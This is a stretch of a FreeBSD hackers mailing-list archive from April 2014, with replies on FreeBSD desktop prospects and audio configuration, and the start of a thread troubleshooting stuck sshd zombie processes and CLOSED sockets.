(UTC) Received: from [192.168.0.100] (cpc14-cmbg15-2-0-cust307.5-4.cable.virginm.net [82.26.1.52]) (authenticated bits=0) by theravensnest.org (8.14.7/8.14.7) with ESMTP id s329Mcn2054303 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Wed, 2 Apr 2014 09:22:40 GMT (envelope-from theraven@FreeBSD.org) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: David Chisnall In-Reply-To: Date: Wed, 2 Apr 2014 10:22:32 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> <20140401174302.GU44074@e-new.0x20.net> <20140401195006.GA1368@tiny-r255948> To: Kevin Oberman X-Mailer: Apple Mail (2.1874) Cc: freebsd-advocacy@freebsd.org, Lars Engels , Matthias Apitz , Eitan Adler , hackers@freebsd.org, dteske@freebsd.org, Jordan Hubbard , "current@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 09:22:54 -0000 On 1 Apr 2014, at 23:10, Kevin Oberman wrote: > Audio output is pretty system dependent, but I had little problem = getting > my audio to auto-switch to headphones when I plugged them in. The = setup is > a bit ugly,but I only had to check the available PINs (ugly, ugly) and = set > up stuff once. It just works. If you want my example set-up, I can = post it > somewhere or you can look in the archives for it as I have posted it = in the > past. It would be good to have this in the handbook (and to see what we can do = to improve it). FreeBSD audio typically works out of the box and it's = great when it does[1], but it can be underdocumented black magic to make = it work when it doesn't. For example, I believe it's possible to tell = pcm that when it receives a stereo stream it should redirect the left = channel to the front and rear left, and the right channel to the front = and rear right, but I haven't yet worked out how to do this - I'd have = thought it was the kind of default that we'd want to have. The use case that PulseAudio was [over]designed to fix was plugging in = USB headphones (or connecting a Bluetooth headset) and having existing = audio streams redirected there. This should be possible with the = existing sound stack, but there are some bits of plumbing missing. We = already do in-kernel mixing and resampling, which are the hard bits. = Duplicating streams and redirecting them are trivial by comparison. David [1] Although I had a slightly embarrassing moment when I spent an hour = hunting for docs to tell me how to configure my media centre box do 5.1 = output and then decided to just try it and found it worked out of the = box.= From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 11:34:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61EB5967; Wed, 2 Apr 2014 11:34:16 +0000 (UTC) Received: from mail.0x20.net (mail.0x20.net [217.69.76.211]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E5FB8159; Wed, 2 Apr 2014 11:34:15 +0000 (UTC) Received: from e-new.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mail.0x20.net (Postfix) with ESMTPS id 108BC6A675D; Wed, 2 Apr 2014 13:34:14 +0200 (CEST) Received: from e-new.0x20.net (localhost [127.0.0.1]) by e-new.0x20.net (8.14.7/8.14.7) with ESMTP id s32BYDGQ068968; Wed, 2 Apr 2014 13:34:13 +0200 (CEST) (envelope-from lars@e-new.0x20.net) Received: (from lars@localhost) by e-new.0x20.net (8.14.7/8.14.7/Submit) id s32BYD0S068029; Wed, 2 Apr 2014 13:34:13 +0200 (CEST) (envelope-from lars) Date: Wed, 2 Apr 2014 13:34:13 +0200 From: Lars Engels To: David Chisnall Subject: Re: Leaving the Desktop Market Message-ID: <20140402113413.GC44074@e-new.0x20.net> References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> <20140401174302.GU44074@e-new.0x20.net> <20140401195006.GA1368@tiny-r255948> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jrSbkLCAP5lJDiYt" Content-Disposition: inline In-Reply-To: X-Editor: VIM - Vi IMproved 7.4 X-Operation-System: FreeBSD 8.4-RELEASE-p4 User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-advocacy@freebsd.org, "current@freebsd.org" , Eitan Adler , Matthias Apitz , Kevin Oberman , hackers@freebsd.org, dteske@freebsd.org, Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 11:34:16 -0000 --jrSbkLCAP5lJDiYt Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 02, 2014 at 10:22:32AM +0100, David Chisnall wrote: > On 1 Apr 2014, at 23:10, Kevin Oberman wrote: >=20 > > Audio output is pretty system dependent, but I had little problem getti= ng > > my audio to auto-switch to headphones when I plugged them in. The setup= is > > a bit ugly,but I only had to check the available PINs (ugly, ugly) and = set > > up stuff once. It just works. If you want my example set-up, I can post= it > > somewhere or you can look in the archives for it as I have posted it in= the > > past. >=20 > It would be good to have this in the handbook (and to see what we can > do to improve it). FreeBSD audio typically works out of the box and > it's great when it does[1], but it can be underdocumented black magic > to make it work when it doesn't. For example, I believe it's possible > to tell pcm that when it receives a stereo stream it should redirect > the left channel to the front and rear left, and the right channel to > the front and rear right, but I haven't yet worked out how to do this > - I'd have thought it was the kind of default that we'd want to have. >=20 > The use case that PulseAudio was [over]designed to fix was plugging in > USB headphones (or connecting a Bluetooth headset) and having existing > audio streams redirected there. This should be possible with the > existing sound stack, but there are some bits of plumbing missing. We > already do in-kernel mixing and resampling, which are the hard bits. > Duplicating streams and redirecting them are trivial by comparison. >=20 > David >=20 > [1] Although I had a slightly embarrassing moment when I spent an hour > hunting for docs to tell me how to configure my media centre box do > 5.1 output and then decided to just try it and found it worked out of > the box. AFAIK we already can configure HDA's sound output and input in many ways using sysctl(8). What's still missing is a user-friendly way to configure sound. There are some things that can be handled in one little program / script / TUI / GUI / CLI: - Default sound unit (hw.snd.default_unit) - Use the last inserted sound device as default? (hw.snd.default_auto)=20 - PIN Routing (dev.hdaa.%d.config) - Mixer settings Putting it all together in something called sndcontrol should not be too hard. It just takes someone(TM) to do it --jrSbkLCAP5lJDiYt Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iKYEARECAGYFAlM79bVfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDE3RkMwOEUxNUUwOUJEMjE0ODlFMjA1MDI5 Q0U3NURBQzBGNzY5RjgACgkQKc512sD3afj83QCff6LSbQZdtxRzfGZFqMdgWZw3 0AgAnjzXM5yLM8NaQm13/hqalZeengsY =2EIo -----END PGP SIGNATURE----- --jrSbkLCAP5lJDiYt-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 11:55:23 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2A2573CD; Wed, 2 Apr 2014 11:55:23 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 02B3E600; Wed, 2 Apr 2014 11:55:22 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id A2D4372B9E; Wed, 2 Apr 2014 04:55:21 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 78109-05; Wed, 2 Apr 2014 04:55:21 -0700 (PDT) Received: from [10.8.0.6] (unknown [10.8.0.6]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id CA3C872B90; Wed, 2 Apr 2014 04:55:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1396439721; bh=zFbDG7tnTuJmyhCM1ccZz3i5h+4B8rt+4VfvzZe7KjA=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=vYiLASOHcsCSObpcIZaWpQhS+fGZQVIVo4X+Quyg7Tv/PaXkShytPQyIZ6sSgW8xI pkJzSDp0fTZGBcSGM66UpVjkUeU+eYlHq6ZDDFdBc3M3tOT+Jp1RsKauoqM1QOmvZm Fwsd4hXDLQekHTbdiSfmWHbe9sv51ljns/pb5p2I= Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: Jordan Hubbard In-Reply-To: <84CEE725-93E4-40BC-8092-5768E9DB47E6@netgate.com> Date: Wed, 2 Apr 2014 16:54:59 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: <1396353429.56465.7.camel@powernoodle.corp.yahoo.com> <84CEE725-93E4-40BC-8092-5768E9DB47E6@netgate.com> To: Jim Thompson X-Mailer: Apple Mail (2.1874) Cc: Eitan Adler , hackers@freebsd.org, Sean Bruno , freebsd-advocacy@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 11:55:23 -0000 On Apr 1, 2014, at 9:12 PM, Jim Thompson wrote: > I have Macs at work (typing on one now), and a mac at home. I like = them. > [ =85 ] > It=92s just like being back in the 80s, when Unix had a desktop = market, only much, much faster. Worry not, there=92s a product just for you now! = http://www.macstories.net/mac/cathode-is-a-vintage-terminal-for-os-x/ Of course I have a copy. I couldn=92t resist buying it. - Jordan From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 12:06:55 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CAB5DA7A; Wed, 2 Apr 2014 12:06:55 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A80B3817; Wed, 2 Apr 2014 12:06:55 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id C756872D14; Wed, 2 Apr 2014 05:06:49 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 81223-08; Wed, 2 Apr 2014 05:06:49 -0700 (PDT) Received: from [10.8.0.6] (unknown [10.8.0.6]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 5A49972D10; Wed, 2 Apr 2014 05:06:42 -0700 (PDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: Jordan Hubbard In-Reply-To: <09D177203C215546ACA94AF0459D4989EFF9DF@msxmbxnsprd18.acct.upmchs.net> Date: Wed, 2 Apr 2014 17:06:35 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: <09D177203C215546ACA94AF0459D4989EFF9DF@msxmbxnsprd18.acct.upmchs.net> To: "Person, Roderick" X-Mailer: Apple Mail (2.1874) Cc: "FreeBSD, Advocacy" , "hackers@freebsd.org" , "current@freebsd.org" , Randi Harper X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 12:06:55 -0000 On Apr 1, 2014, at 9:33 PM, Person, Roderick wrote: > Why aren't all the nerds and small businesses out there a market? =20 Too few of you to justify the capital outlay. Now, if we were talking = about a $1500 watch that was very nerdy and appealed to the inner James = Bond in lots of non-nerds, the margins might just justify it. If Apple = hardware is too expensive for you, there is always Windows and a cheap = PC clone. Between those two poles, the entirety of the desktop market = is pretty much spoken for. I get that there are some (mostly on these = mailing lists) who don=92t want either, but religious / personal = preferences to the contrary don=92t create markets until there are at = least a few million of you. From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 12:24:57 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D42B9141; Wed, 2 Apr 2014 12:24:57 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A705B9FC; Wed, 2 Apr 2014 12:24:57 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id EEE8172FEB; Wed, 2 Apr 2014 05:24:56 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 81635-03; Wed, 2 Apr 2014 05:24:43 -0700 (PDT) Received: from [10.8.0.6] (unknown [10.8.0.6]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 4057972FDA; Wed, 2 Apr 2014 05:24:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1396441482; bh=PMYtpkl2xekWGOoOA+i+4RlaQq+PZYSlQWYTkJ1cFiQ=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=HCcgtPb04uLq4WrZ3EMVy6pn1yBnyVft9AqQANRxZIsOvEyVDmP2Y5/FoX1G7CEyR Kti+y1BhPH7m87CTHKmGXk4ptySIZ6+G+VGby4KSBdWxd4AbuIuylPfyfvcZ7X4Bkn G8/1GDkEGH1EfIljboKWzB0V4qRFqE2dxmKokVZg= Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: Jordan Hubbard In-Reply-To: Date: Wed, 2 Apr 2014 17:24:28 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: <7217E584-D21A-4C50-96EB-ED280575BFFD@ixsystems.com> References: To: Matt Olander X-Mailer: Apple Mail (2.1874) Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 12:24:58 -0000 On Apr 1, 2014, at 10:11 PM, Matt Olander wrote: > This is like trying to predict automobile technology and dominant > car-makers by 1905. There's always room for competition. Take a look > at what's happening right now in the auto-industry. Tesla came out of > nowhere 125 years after the invention of the automobile and is doing > pretty well. I think you=92re kind of making my point for me, Matt. :-) Tesla benefitted entirely from deep pockets on the part of its = investors. Over $160M went into starting the company, of which $70M = came from the personal checking account of Elon Musk, the current = visionary and CEO, and to quote the wikipedia page: "Tesla Motors is a = public company that trades on the NASDAQ stock exchange under the symbol = TSLA.[5] In the first quarter of 2013, Tesla posted profits for the = first time in its ten year history.=94 Yep, in other words, Tesla has been losing money for over 10 years and = only just started turning a profit, after raising a =93mere" $187M in = investment and $485M in loans from the US DOE. Your tax dollars at = work! On top of all that Tesla has only managed to make money at all = by focusing exclusively the highest end of the luxury car market, where = profit margins are also the highest (the first car, the roadster, would = set you back $110,000). Getting back to computer operating systems, it would make most readers = of these lists choke on their Doritos to know how much Apple had to = invest in Mac OS X before it became a viable desktop operating system = and of course you=92ve already seen folks screaming about how Apple gear = is too expensive and they=92ll never buy it. You just don=92t get a consumer-grade desktop Unix OS, or a practical = all-electric sedan, without serious monetary investment and a luxury = marquee to match, assuming you=92d like to actually make any of that = money *back*. So, back to BSD on the desktop. Anyone got a spare $200M they=92d like = to just throw away? That=92s what it=92s going to take! :) Don=92t believe me? Go ask someone who knows first-hand then. Ask Mark = Shuttleworth: = http://arstechnica.com/information-technology/2013/08/why-ubuntus-creator-= still-invests-his-fortune-in-an-unprofitable-company/ :-) - Jordan From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 13:34:39 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 98FFFAAA; Wed, 2 Apr 2014 13:34:39 +0000 (UTC) Received: from outpost1.zedat.fu-berlin.de (outpost1.zedat.fu-berlin.de [130.133.4.66]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1F1FAF3; Wed, 2 Apr 2014 13:34:38 +0000 (UTC) Received: from inpost2.zedat.fu-berlin.de ([130.133.4.69]) by outpost.zedat.fu-berlin.de (Exim 4.82) with esmtp (envelope-from ) id <1WVLJL-000hAN-Rf>; Wed, 02 Apr 2014 15:34:35 +0200 Received: from g225032232.adsl.alicedsl.de ([92.225.32.232] helo=thor.walstatt.dyndns.org) by inpost2.zedat.fu-berlin.de (Exim 4.82) with esmtpsa (envelope-from ) id <1WVLJL-001hbk-MQ>; Wed, 02 Apr 2014 15:34:35 +0200 Date: Wed, 2 Apr 2014 15:34:34 +0200 From: "O. Hartmann" To: Kevin Oberman Subject: Re: Leaving the Desktop Market Message-ID: <20140402153434.1f55f2f3.ohartman@zedat.fu-berlin.de> In-Reply-To: References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> <20140401174302.GU44074@e-new.0x20.net> <20140401195006.GA1368@tiny-r255948> Organization: FU Berlin X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; boundary="Sig_/28E/=qeD+dDec4IhSbOI/zy"; protocol="application/pgp-signature" X-Originating-IP: 92.225.32.232 X-ZEDAT-Hint: A X-Mailman-Approved-At: Wed, 02 Apr 2014 13:47:30 +0000 Cc: freebsd-advocacy@freebsd.org, Lars Engels , Matthias Apitz , Eitan Adler , hackers@freebsd.org, dteske@freebsd.org, Jordan Hubbard , "current@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 13:34:39 -0000 --Sig_/28E/=qeD+dDec4IhSbOI/zy Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable On Tue, 1 Apr 2014 15:10:22 -0700 Kevin Oberman wrote: > > > No, mutt, with vim as mail composer. :) > > > > +1 > > > > matthias > > > > (FreeBSD since 2.2.5 and sending this from an EeePC 900, > > netbook, UMTS connected, KDE4 desktop, sound, webcam, vim, mutt, > > sendmail, ...) > > >=20 > FreeBSD desktop since 3.3 (makes me a newbie!)=20 FreeBSD server and desktop since 2.0 (replaced Ultrix 4.3 system). Does it = makes me an "oldie"?=20 I'm stuck since with FreeBSD on private systems and a couple of years ago, = I had no problems even run servers based on FreeBSD for my department. I dislike this unspecific terminus "desktop", since people seem to associate entertainment systems with neat graphics, mouse and other interesting "huma= n" stuff (even audio). On the other hand, "server" seems hardcoded to unfancy 19inch= rack-based plastic-metal-based clumsy and noisy high-performance systems stored in a d= ark air-conditioned cellar.=20 But what is with the old-fashioned terminus "workstation"? In a more scient= ific environment, systems with the performance needs of a "server" but with the = exterior habitus of a "desktop" were very often called "workstation". Nowadays, we run a single remaining FreeBSD server and I kept my "desktop" = system also working on FreeBSD (11.0, recent hardware, by the way). We had to change th= e other "desktops" (I prefer workstation) towards Linux due to the need of OpenCL i= n combination with some expensive TESLA boards for numerical modelling and datellite imag= e processing. The software we used was mostly "home-brewn" so we didn't rely on commercia= l Linux-only stuff and it would have been an easy task to run the software also on FreeB= SD based workstations - if the GPU could be used.=20 Even the SoC platforms come with OpenCL support (also for the GPU) these da= ys and i do not see anything useful on FreeBSD (except POCL for CPU usage, but no GPU). My contribution to 1st of April ... Oliver=20 --Sig_/28E/=qeD+dDec4IhSbOI/zy Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQEcBAEBAgAGBQJTPBHrAAoJEOgBcD7A/5N8JW4IALJvf7bCD64yQzibnA1A75er G3+b2tISfs/URMm3sZcQRGwf4gd9XW8hAbHITV4LmMPf/LmEpUj5mLJIK0jq3IUi XqyuKo++M0le3Sw9jxgv+Eaq/b7Vw+vlQH4a7PW3as1R/YDoqRJacpRIvLFiIDEU m7qV1zDJGMAygl6Tk5pfAEFQOIAtCOE+PM4GoF+UxYSJYvRlygJNUfGe+PB5TLMj aI9IRBc3OpXzLNBQCEqoumShUB5Il/xsPSelIW78JLqdT0F0aCsYT2f1DeI8Ma2i mBv4EKcqhgS574F5tscwbKA8THtRRzaCPjPuePuwrPxSRk/N4w7HoYm0pQu3vcs= =Zjrs -----END PGP SIGNATURE----- --Sig_/28E/=qeD+dDec4IhSbOI/zy-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 14:30:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3BF35AB4 for ; Wed, 2 Apr 2014 14:30:15 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id BE5BC848 for ; Wed, 2 Apr 2014 14:30:14 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s32EU67f096415 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 2 Apr 2014 15:30:07 +0100 (BST) Date: Wed, 02 Apr 2014 15:30:06 +0100 From: Karl Pielorz To: freebsd-hackers@freebsd.org Subject: Stuck CLOSED sockets / sshd / zombies... Message-ID: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 14:30:15 -0000 Hi All, This issue started in -xen (subject: *Stuck sshd in urdlck), moved to -stable (subject: sshd with zombie process on FreeBSD 10.0-STABLE), and -net (subject: Server sockets staying in CLOSED for extended), but seems to have died a death in all of them. It's affecting a number of people - predominately with sshd. Does anyone know how I can troubleshoot this further, what the cause / fix is, or if it's already actually fixed? " # ps ax | grep 4344 ps axl | grep 4344 0 4344 895 0 20 0 84868 6944 urdlck Is - 0:00.01 sshd: unknown [priv] (sshd) 22 4345 4344 0 20 0 0 0 - Z - 0:00.00 0 4346 4344 0 21 0 84868 6952 sbwait I - 0:00.00 sshd: unknown [pam] (sshd) #ps axd ... 895 - Is 0:00.05 |-- /usr/sbin/sshd 3933 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) 3934 - Z 0:00.00 | | |-- 3935 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) 4338 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) 4339 - Z 0:00.00 | | |-- 4340 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) 4341 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) 4342 - Z 0:00.00 | | |-- 4343 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) 4344 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) 4345 - Z 0:00.00 | | |-- 4346 - I 0:00.00 | | `-- sshd: unknown [pam] (sshd) ... #netstat -a -n | grep CLOSED | wc -l 59 #netstat -a | grep 54544 tcp4 0 0 192.168.0.138.22 192.168.0.45.54544 CLOSED #sockstat | grep 4343 root sshd 4343 3 tcp4 192.168.0.138:22 192.168.0.45:54544 root sshd 4343 6 stream (not connected) root sshd 4343 8 stream -> ?? #uname -a FreeBSD host 10.0-STABLE FreeBSD 10.0-STABLE #0 r261289M: Thu Jan 30 13:33:35 UTC 2014 x@domain.com:/usr/src/sys/amd64/compile/GENERIC amd64 " For a box that's doing nothing (apart from people ssh'ing in occasionally) - there's obviously something wrong. What would be next to try and figure out why this is happening? - as I'd dearly like to know what's causing it / a fix (or if it's already fixed in -STABLE, and at which revision) Thanks, -Karl From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 14:41:16 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5DD7DCE for ; Wed, 2 Apr 2014 14:41:16 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 30EA899F for ; Wed, 2 Apr 2014 14:41:16 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WVMLq-000FWn-Tk; Wed, 02 Apr 2014 14:41:15 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s32EfDbA085936; Wed, 2 Apr 2014 08:41:13 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX1/hO9RNr1XSxkENwNRCGtWG Subject: Re: Stuck CLOSED sockets / sshd / zombies... From: Ian Lepore To: Karl Pielorz In-Reply-To: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> Content-Type: text/plain; charset="us-ascii" Date: Wed, 02 Apr 2014 08:41:13 -0600 Message-ID: <1396449673.81853.264.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Apr 2014 14:41:16 -0000 On Wed, 2014-04-02 at 15:30 +0100, Karl Pielorz wrote: > Hi All, > > This issue started in -xen (subject: *Stuck sshd in urdlck), moved to > -stable (subject: sshd with zombie process on FreeBSD 10.0-STABLE), and > -net (subject: Server sockets staying in CLOSED for extended), but seems to > have died a death in all of them. > > It's affecting a number of people - predominately with sshd. > > Does anyone know how I can troubleshoot this further, what the cause / fix > is, or if it's already actually fixed? > > " > # ps ax | grep 4344 > ps axl | grep 4344 > 0 4344 895 0 20 0 84868 6944 urdlck Is - 0:00.01 sshd: unknown > [priv] (sshd) > 22 4345 4344 0 20 0 0 0 - Z - 0:00.00 > 0 4346 4344 0 21 0 84868 6952 sbwait I - 0:00.00 sshd: unknown > [pam] (sshd) > > #ps axd > ... > 895 - Is 0:00.05 |-- /usr/sbin/sshd > 3933 - Is 0:00.01 | |-- sshd: unknown [priv] (sshd) > 3934 - Z 0:00.00 | | |-- > 